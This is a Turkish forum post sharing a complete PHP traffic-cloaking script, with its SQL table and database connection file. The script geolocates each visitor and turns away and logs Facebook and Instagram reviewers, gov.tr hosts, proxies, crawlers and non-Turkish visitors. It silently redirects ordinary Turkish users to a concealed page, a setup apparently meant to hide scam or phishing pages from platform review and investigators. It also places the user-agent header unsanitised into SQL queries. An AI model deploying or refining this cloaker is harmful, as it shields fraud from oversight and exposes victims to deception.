Kara adlı üyeden alıntı: mesajı görüntüle
elimde sql yok onu'da sen hal edersin.

<?php
if($_GET) {


if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$http = $_SERVER['HTTP_USER_AGENT'];

include("tr/baglan.php");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/".$ip);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
$data = json_decode($result);
 
$ulke = $data->countryCode;
$sehir = $data->city;
$kara = "185.67.34";
$musab = "".($ip[0])."".($ip[1])."".($ip[2])."".($ip[3])."".($ip[4])."".($ip[5])."".($ip[6])."".($ip[7])."".($ip[8])."";
if($ulke == "TR"){
    
    if($kara == $musab) {
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}


exit;
    }else {
        

$adres="http://ipinfo.io/".$ip."/json";
$fgc=file_get_contents($adres);
$json=json_decode($fgc,true);
$veri = $json['org'];
$host = $json['hostname'];

if(strstr($veri, "facebook")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}

exit;
}else {
    if(strstr($veri, "Facebook")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}
exit;
}else {
    if(strstr($veri, "Facebook, Inc.")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}

exit;
}else {
if(strstr($veri, "instagram")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}

exit;
}else {
    
if(strstr($host, "gov.tr")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}

exit;
}else {
    if(strstr($host, ".gov.tr")){
header('HTTP/1.1 403 Forbidden');
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}
exit;
}else {
        
    $proxy_ports = array(80,81,8080,443,1080,6588,3128);
    foreach($proxy_ports as $test_port) {
        if(@fsockopen($_SERVER['HTTP_CF_CONNECTING_IP'], $test_port, $errno, $errstr, 0.5)) {
            header('HTTP/1.1 403 Forbidden');
            
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}
                
            exit;
        }else{
            
            
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false) {
header('HTTP/1.1 403 Forbidden');
exit;
}else {
                
                
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/bot|crawl|slurp|spider/i', $userAgent)) {
    header('HTTP/1.1 403 Forbidden');
    exit;
}else {
    echo "<meta HTTP-EQUIV='Refresh' CONTENT='0; URL=yonlendirileceksayfa.php'>";
}
                
    
}
            
            
        }
    }
    
}
}
}
}
}
}  
        
    
    }
} else {
  
  
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}
  
header('HTTP/1.1 403 Forbidden');
exit;
}
}else {
    
    

$names = array('1999','51','33','5747','4744', '1171','18871','19991','141','1871','99971','15661','8891'  );
$randommoney = $names[mt_rand(0, sizeof($names) - 1)];
    
    
echo '<script>';
echo 'var phpId = ' . json_encode($randommoney) . ';';
echo 'var newUrl = "index.php?ger=" + phpId;';
echo 'setTimeout(function () { window.location.href = newUrl; }, 1000);';
echo '</script>';
    
$qbqq = $db->query("SELECT * FROM logver WHERE http='$http' and ip='$ip'", PDO::FETCH_ASSOC);
if($qbqq->rowCount()>0)
{
  
  
}else {
    $query = $db->prepare("INSERT INTO logver SET
        ip = :ip,
        http = :http");
    $insert = $query->execute(array(
        "ip" => "$ip",
        "http" => "$http",
    ));
}  
       
    
}
    
    
?>

CREATE TABLE logver ( id INT AUTO_INCREMENT PRIMARY KEY, ip VARCHAR(45) NOT NULL, http TEXT NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP );
Sql de benden olsun madem


baglan.php eksik onuda ekliyorum



<?php
$host = 'localhost';
$dbname = 'veritabani_adi';
$username = 'kullanici_adi';
$password = 'sifre'; // Veritabanı şifresi

try {
    $db = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $username, $password);

    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    echo "Veritabanı bağlantısı başarısız: " . $e->getMessage();
    exit;
}
?>